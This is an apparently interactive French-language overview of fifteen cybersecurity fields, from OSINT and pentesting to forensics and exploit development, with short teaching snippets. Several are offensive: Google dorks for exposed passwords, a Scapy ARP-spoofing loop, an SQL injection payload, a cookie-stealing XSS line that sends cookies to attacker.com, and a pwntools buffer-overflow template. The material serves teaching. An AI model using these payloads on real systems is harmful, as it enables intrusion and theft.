Explore les 15 grands piliers de la cybersécurité. Clique sur chaque domaine pour voir le contenu détaillé.
L'OSINT (Open Source Intelligence) consiste à collecter des informations sur une cible en utilisant uniquement des sources publiques : réseaux sociaux, moteurs de recherche, bases de données ouvertes, archives web, etc.
site:example.com filetype:pdf
intitle:"index of" passwords
inurl:admin login
"@gmail.com" filetype:xls
Le pentesting (test de pénétration) est une simulation d'attaque autorisée sur un système pour identifier ses vulnérabilités avant qu'un vrai attaquant ne les exploite.
nmap -sV -sC -O -p- 192.168.1.1
# -sV : détection des versions
# -sC : scripts par défaut
# -O : détection OS
# -p- : tous les ports
La cryptographie est la science de la protection des informations par chiffrement. Elle est à la base de toute communication sécurisée sur Internet.
from Crypto.Cipher import AES
import os
key = os.urandom(32) # clé 256 bits
iv = os.urandom(16) # vecteur init
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(b"Message secret!!")
La sécurité réseau protège l'infrastructure informatique contre les accès non autorisés, les attaques et les pannes.
# Avec Scapy (Python)
from scapy.all import ARP, send
pkt = ARP(op=2, pdst="192.168.1.1",
hwdst="ff:ff:ff:ff:ff:ff",
psrc="192.168.1.100")
send(pkt, loop=True, inter=2)
L'ingénierie sociale exploite la psychologie humaine plutôt que les failles techniques. C'est souvent le vecteur d'attaque le plus efficace car le maillon faible est l'humain.
L'analyse de malware consiste à étudier des logiciels malveillants pour comprendre leur fonctionnement, leur impact et comment s'en défendre.
Le forensics numérique (ou investigation numérique) consiste à collecter, préserver et analyser des preuves numériques après un incident de sécurité, dans le respect de la chaîne de preuve légale.
# Copie bit à bit d'un disque
dd if=/dev/sda of=/mnt/evidence.img bs=512
# Hash pour vérifier l'intégrité
sha256sum /mnt/evidence.img
# Récupération de fichiers supprimés
foremost -i evidence.img -o output/
La sécurité des applications web est un domaine crucial. L'OWASP (Open Web Application Security Project) publie le Top 10 des vulnérabilités les plus critiques.
-- Requête vulnérable
SELECT * FROM users WHERE username='$user' AND password='$pass';
-- Payload d'injection
username: admin' --
-- Résultat : SELECT * FROM users WHERE username='admin' --' AND password='...'
-- Le mot de passe est ignoré !
-- Payload basique XSS dans un champ commentaire :
<script>alert('XSS')</script>
-- Vol de cookie :
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Le reverse engineering (rétro-ingénierie) consiste à analyser un binaire compilé pour comprendre son fonctionnement sans accès au code source.
; Fonction simple : additionner deux entiers
add_numbers:
push ebp
mov ebp, esp
mov eax, [ebp+8] ; premier argument
add eax, [ebp+12] ; + deuxième argument
pop ebp
ret ; retourne eax (résultat)
La sécurité cloud protège les données, applications et infrastructures hébergées chez des fournisseurs comme AWS, Azure ou GCP.
Les CTF sont des compétitions de cybersécurité où les participants résolvent des challenges pour trouver des "flags" (chaînes de texte cachées). Excellent moyen d'apprendre en pratiquant.
La Blue Team est l'équipe de défense qui surveille, détecte et répond aux cyberattaques. Opposée à la Red Team (attaquants éthiques).
La sécurité mobile couvre l'analyse et la protection des applications et systèmes iOS et Android.
# Décompiler un APK avec apktool
apktool d application.apk -o output/
# Extraire les sources Java avec jadx
jadx application.apk -d sources/
# Rechercher des secrets dans le code
grep -r "api_key\|password\|secret" sources/
Le développement d'exploits consiste à créer des programmes qui tirent parti de vulnérabilités logicielles pour obtenir un comportement non prévu (ex : exécution de code arbitraire).
from pwn import *
proc = process('./vulnerable_binary')
payload = b'A' * 64 # remplissage du buffer
payload += b'B' * 8 # écrase EBP
payload += p64(0xdeadbeef) # nouvelle adresse de retour
proc.sendline(payload)
proc.interactive()
La cybersécurité éthique implique de toujours agir dans le cadre légal. Hacker sans autorisation est un crime dans la plupart des pays.